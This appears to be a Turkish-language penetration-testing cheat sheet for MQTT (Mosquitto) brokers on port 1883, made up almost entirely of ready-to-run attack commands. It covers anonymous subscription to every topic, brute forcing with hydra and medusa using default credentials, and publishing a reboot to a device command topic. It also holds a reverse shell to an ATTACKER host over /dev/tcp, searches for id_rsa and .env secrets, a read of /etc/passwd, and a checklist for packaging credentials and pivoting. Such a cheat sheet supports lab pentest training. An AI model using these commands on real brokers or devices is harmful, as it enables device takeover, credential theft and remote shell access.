Skip to content

1883 - Pentesting MQTT (Mosquitto)

MQTT iot

MQTT pub/sub bus’tur. Anonim subscribe tüm topic’leri dinler; writable command topic cihaz ele geçirir. Hedef lab IP’si üzerinde komutları 1883 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 1883/8883 doğrula.

  2. Anonim connect/subscribe.

  3. Topic brute ve mesaj kaydı.

  4. Komut topic’lerine publish.

Terminal window
nmap -Pn -sV -p1883,8883 TARGET
Terminal window
nmap -Pn -p1883,8883 --script mqtt-subscribe TARGET
Terminal window
mosquitto_sub -h TARGET -t '#' -v
Terminal window
nmap -p1883 --script mqtt-subscribe TARGET
Terminal window
mosquitto_sub -h TARGET -u admin -P public -t '#' -v
Terminal window
hydra -L users.txt -P pass.txt mqtt://TARGET
admin/admin, device/device, (boş)/(boş)
Terminal window
mosquitto_pub -h TARGET -t 'device/cmd' -m 'reboot'
Terminal window
mosquitto_sub -h TARGET -t '\$SYS/#' -v
credentials in topics; OT/IoT command channels

MQTT (Mosquitto) için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p1883 TARGET
Terminal window
nmap -Pn -p1883 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1883' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',1883));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → MQTT (Mosquitto)
Terminal window
hydra -L users.txt -P rockyou.txt -s 1883 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1883
Terminal window
nmap -p1883 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit MQTT
Terminal window
msfconsole -q -x 'search MQTT; exit'
Terminal window
nuclei -u https://TARGET:1883 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:1883 -tags tech -silent || true
Terminal window
nc -nv TARGET 1883
Terminal window
printf '
' | timeout 3 nc -nv TARGET 1883
Terminal window
curl -vk --http1.0 http://TARGET:1883/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
anon sub # → secrets → pub command topic → device control